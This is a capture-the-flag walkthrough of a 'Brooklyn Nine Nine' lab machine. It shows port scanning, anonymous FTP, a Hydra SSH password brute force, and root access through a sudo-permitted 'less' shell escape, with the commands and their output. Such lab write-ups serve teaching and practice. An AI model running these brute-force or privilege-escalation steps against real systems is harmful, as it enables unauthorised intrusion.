Easy notes - Brooklyn Nine Nine

Enumeration

ping

```
➜  brooklyn99 ping $IP -c 4
PING 10.10.101.253 (10.10.101.253) 56(84) bytes of data.
64 bytes from 10.10.101.253: icmp_seq=1 ttl=63 time=17.7 ms
64 bytes from 10.10.101.253: icmp_seq=2 ttl=63 time=17.6 ms
64 bytes from 10.10.101.253: icmp_seq=3 ttl=63 time=17.3 ms
64 bytes from 10.10.101.253: icmp_seq=4 ttl=63 time=17.5 ms

--- 10.10.101.253 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 17.331/17.529/17.734/0.151 ms
```

nmap

```
➜  brooklyn99 nmap -sCV -A $IP -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-21 12:20 GMT
Nmap scan report for 10.10.101.253
Host is up (0.018s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.11.3.207
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 167f2ffe0fba98777d6d3eb62572c6a3 (RSA)
|   256 2e3b61594bc429b5e858396f6fe99bee (ECDSA)
|_  256 ab162e79203c9b0a019c8c4426015804 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.98 seconds
```

website

Just a single page, with an image of the 99 team.

There was some source code that indicated steganography but I didn't require to check this once I had jake's password.

```
<!DOCTYPE html>
<html>
 ▶ <head>…</head>
 ▼ <body>
 ... <div class="bg"></div> == $0
   ▶ <p>…</p>
     <!-- Have you ever heard of steganography? -->
   </body>
</html>
```

ftp

We have found one file:

note_to_jake.txt

```
➜  brooklyn99 cat note_to_jake.txt
From Amy,
Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
```

This seems to give us two possible usernames - jake and amy, as well as an indication of a weak password.

ssh

With a name and a short list of passwords, we already know that port 22 is available, so we can try to brute using hydra:

```
➜  brooklyn99 hydra -l jake -P ~/wordlists/rockyou.txt $IP -t4 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-21 12:26:09
[ERROR] File for passwords not found: /home/karti/wordlists/rockyou.txt
➜  brooklyn99 hydra -l jake -P /usr/share/wordlists/rockyou.txt $IP -t4 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-21 12:26:48
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://10.10.101.253:22/
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 14344355 to do in 5433:29h, 4 active
[22][ssh] host: 10.10.101.253   login: jake   password: 987654321
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-21 12:28:59
```

Now we have jake's details, we get on the box, a quick check of our surroundings finds the user flag, which we see is readable.

```
➜  brooklyn99 ssh jake@$IP
The authenticity of host '10.10.101.253 (10.10.101.253)' can't be established.
ED25519 key fingerprint is SHA256:ceqkN71gGrXeq+J5/dquPWgcPWwTmP2mBdFS2ODPZZU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.101.253' (ED25519) to the list of known hosts.
jake@10.10.101.253's password:
Last login: Tue May 26 08:56:58 2020
jake@brookly_nine_nine:~$ ls -la
```

```
total 44
drwxr-xr-x 6 jake jake 4096 May 26  2020 .
drwxr-xr-x 5 root root 4096 May 18  2020 ..
-rw------- 1 root root 1349 May 26  2020 .bash_history
-rw-r--r-- 1 jake jake  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 jake jake 3771 Apr  4  2018 .bashrc
drwx------ 2 jake jake 4096 May 17  2020 .cache
drwx------ 3 jake jake 4096 May 17  2020 .gnupg
-rw------- 1 root root   67 May 26  2020 .lesshst
drwxrwxr-x 3 jake jake 4096 May 26  2020 .local
-rw-r--r-- 1 jake jake  807 Apr  4  2018 .profile
drwx------ 2 jake jake 4096 May 18  2020 .ssh
-rw-r--r-- 1 jake jake    0 May 17  2020 .sudo_as_admin_successful
jake@brookly_nine_nine:~$ cd ..
jake@brookly_nine_nine:/home$ ls
amy  holt  jake
jake@brookly_nine_nine:/home$ find / -name user.txt 2>/dev/null
/home/holt/user.txt
jake@brookly_nine_nine:/home$ ls -la holt
total 48
drwxr-xr-x 6 holt holt 4096 May 26  2020 .
drwxr-xr-x 5 root root 4096 May 18  2020 ..
-rw------- 1 holt holt   18 May 26  2020 .bash_history
-rw-r--r-- 1 holt holt  220 May 17  2020 .bash_logout
-rw-r--r-- 1 holt holt 3771 May 17  2020 .bashrc
drwx------ 2 holt holt 4096 May 18  2020 .cache
drwx------ 3 holt holt 4096 May 18  2020 .gnupg
drwxrwxr-x 3 holt holt 4096 May 17  2020 .local
-rw-r--r-- 1 holt holt  807 May 17  2020 .profile
drwx------ 2 holt holt 4096 May 18  2020 .ssh
-rw------- 1 root root  110 May 18  2020 nano.save
-rw-rw-r-- 1 holt holt   33 May 17  2020 user.txt
jake@brookly_nine_nine:/home$ cat holt/user.txt
ee11cbb19052e40b07aac0ca060c23ee
```

Checking for low hanging fruit we run `sudo -l` and find that we can:

```
jake@brookly_nine_nine:/home$ sudo -l
Matching Defaults entries for jake on brookly_nine_nine:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jake may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /usr/bin/less
```

So we can can run `less` as root. Quickly checking GTFObins for `less` exploits:

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo less /etc/profile
!/bin/sh
```

Let's run this on the terminal:

```
jake@brookly_nine_nine:/home$ sudo less /etc/profile
root@brookly_nine_nine:/home# id
uid=0(root) gid=0(root) groups=0(root)
root@brookly_nine_nine:/home#
```

This now opens the less window:

```
# /etc/profile: system-wide .profile file for the Bourne shell (sh(1))
# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).

if [ "${PS1-}" ]; then
  if [ "${BASH-}" ] && [ "$BASH" != "/bin/sh" ]; then
    # The file bash.bashrc already sets the default PS1.
    # PS1='\h:\w\$ '
    if [ -f /etc/bash.bashrc ]; then
      . /etc/bash.bashrc
    fi
  else
    if [ "`id -u`" -eq 0 ]; then
      PS1='# '
    else
      PS1='$ '
    fi
  fi
fi

if [ -d /etc/profile.d ]; then
  for i in /etc/profile.d/*.sh; do
    if [ -r $i ]; then
      . $i
    fi
  done
  unset i
fi
/etc/profile (END)
```

If we now type in the `!/bin/shell` we get root when we hit return:

```
if [ -d /etc/profile.d ]; then
  for i in /etc/profile.d/*.sh; do
    if [ -r $i ]; then
      . $i
    fi
  done
  unset i
fi
!/bin/sh
 0  ↑ 1h 50m   1 vpn   2 brooklyn99
```

Straight into root, which gives us the final flag.

```
jake@brookly_nine_nine:/home$ sudo less /etc/profile
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: 63a9f0ea7bb98050796b649e85481845

Enjoy!!
#
```